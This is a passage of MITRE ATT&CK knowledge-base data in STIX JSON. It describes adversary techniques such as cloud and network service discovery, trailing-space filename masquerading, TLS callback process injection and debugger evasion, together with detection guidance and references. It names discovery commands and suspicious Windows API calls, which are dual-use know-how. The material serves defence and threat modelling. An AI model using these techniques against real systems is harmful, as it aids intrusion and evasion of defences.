Data and Automation). Retrieved October 12, 2021."},{"source_name":"Koczwara Beacon Hunting Sep 2021","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}],"modified":"2021-10-17T16:00:16.273Z","name":"Server","description":"Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Metadata","Internet Scan: Response Content"]},{"x_mitre_platforms":["Azure AD","Office 365","SaaS","IaaS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Suzy Schapperle - Microsoft Azure Red Team","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db","type":"attack-pattern","created":"2019-08-30T13:01:10.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1526","url":"https://attack.mitre.org/techniques/T1526"},{"source_name":"Azure - Resource Manager API","url":"https://docs.microsoft.com/en-us/rest/api/resources/","description":"Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020."},{"source_name":"Azure AD Graph API","url":"https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview","description":"Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020."},{"source_name":"Azure - Stormspotter","url":"https://github.com/Azure/Stormspotter","description":"Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020."},{"source_name":"GitHub Pacu","url":"https://github.com/RhinoSecurityLabs/pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019."}],"modified":"2021-03-16T12:57:03.837Z","name":"Cloud Service Discovery","description":"An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Cloud Service: Cloud Service Enumeration","Cloud Service: Cloud Service Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Erye Hernandez, Palo Alto Networks"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1151","url":"https://attack.mitre.org/techniques/T1151"},{"external_id":"CAPEC-649","source_name":"capec","url":"https://capec.mitre.org/data/definitions/649.html"},{"url":"https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/","description":"Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.","source_name":"Mac Backdoors are back"}],"modified":"2020-02-10T20:49:12.897Z","name":"Space after Filename","description":"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniel Stepanic, Elastic","RedHuntLabs, @redhuntlabs","Austin Clark, @c2defense"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","created":"2017-05-31T21:30:28.187Z","x_mitre_version":"3.3","external_references":[{"source_name":"mitre-attack","external_id":"T1018","url":"https://attack.mitre.org/techniques/T1018"},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."},{"source_name":"Elastic - Koadiac Detection with EQL","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"url":"https://capec.mitre.org/data/definitions/292.html","source_name":"capec","external_id":"CAPEC-292"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  [Ping](https://attack.mitre.org/software/S0097) or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network.(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)  \n","modified":"2022-04-20T18:10:53.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Remote System Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as <code>ping.exe</code> and <code>tracert.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","Network Traffic: Network Connection Creation","File: File Access","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","created":"2017-05-31T21:30:43.915Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"T1046","url":"https://attack.mitre.org/techniques/T1046"},{"source_name":"apple doco bonjour description","url":"https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html","description":"Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."},{"source_name":"macOS APT Activity Bradley","url":"https://themittenmac.com/what-does-apt-activity-look-like-on-macos/","description":"Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022."},{"url":"https://capec.mitre.org/data/definitions/300.html","source_name":"capec","external_id":"CAPEC-300"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)","modified":"2022-04-20T16:05:30.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Network Service Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Command: Command Execution","Cloud Service: Cloud Service Enumeration"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d","type":"attack-pattern","created":"2020-10-02T15:46:24.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.001","url":"https://attack.mitre.org/techniques/T1590/001"},{"source_name":"WHOIS","url":"https://www.whois.net/","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."},{"source_name":"DNS Dumpster","url":"https://dnsdumpster.com/","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."},{"source_name":"Circl Passive DNS","url":"https://www.circl.lu/services/passive-dns/","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:30:33.508Z","name":"Domain Properties","description":"Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","type":"attack-pattern","created":"2019-09-16T17:52:44.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1518","url":"https://attack.mitre.org/techniques/T1518"},{"external_id":"CAPEC-580","source_name":"capec","url":"https://capec.mitre.org/data/definitions/580.html"}],"modified":"2022-01-29T00:02:24.150Z","name":"Software Discovery","description":"Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Firewall: Firewall Metadata","Process: Process Creation","Firewall: Firewall Enumeration","Command: Command Execution"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Azure AD","Office 365","IaaS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e49920b0-6c54-40c1-9571-73723653205f","type":"attack-pattern","created":"2019-08-30T18:11:24.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1538","source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1538"},{"source_name":"Google Command Center Dashboard","url":"https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard","description":"Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019."},{"source_name":"AWS Console Sign-in Events","url":"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html","description":"Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019."}],"modified":"2021-03-16T12:56:36.098Z","name":"Cloud Service Dashboard","description":"An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["User Account: User Account Authentication","Logon Session: Logon Session Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744","type":"attack-pattern","created":"2020-01-14T01:30:41.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.005","url":"https://attack.mitre.org/techniques/T1055/005"},{"url":"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html","description":"Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.","source_name":"FireEye TLS Nov 2017"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2021-10-18T12:24:54.198Z","name":"Thread Local Storage","description":"Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Access","Process: Process Modification","Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Application control"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["TruKno"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","created":"2022-04-01T17:59:46.156Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1622","url":"https://attack.mitre.org/techniques/T1622"},{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."},{"source_name":"hasherezade debug","url":"https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf","description":"hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022."},{"source_name":"AlKhaser Debug","url":"https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug","description":"Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022."},{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"ProcessHacker Github","url":"https://github.com/processhacker/processhacker","description":"ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022."},{"source_name":"vxunderground debug","url":"https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug","description":"vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)","modified":"2022-04-16T15:05:55.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Debugger Evasion","x_mitre_detection":"Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\n\nMonitor debugger logs for signs of abnormal and potentially malicious activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Erye Hernandez, Palo Alto Networks"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86","type":"attack-pattern","created":"2020-02-10T20:47:10.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.006","url":"https://attack.mitre.org/techniques/T1036/006"},{"external_id":"CAPEC-649","source_name":"capec","url":"https://capec.mitre.org/data/definitions/649.html"},{"url":"https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/","description":"Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.","source_name":"Mac Backdoors are back"}],"modified":"2020-03-29T20:26:01.690Z","name":"Space after Filename","description":"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e","created":"2020-01-24T18:15:06.641Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1547.007","url":"https://attack.mitre.org/techniques/T1547/007"},{"source_name":"Re-Open windows on Mac","url":"https://support.apple.com/en-us/HT204005","description":"Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017."},{"source_name":"Methods of Mac Malware Persistence","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."},{"source_name":"Wardle Persistence 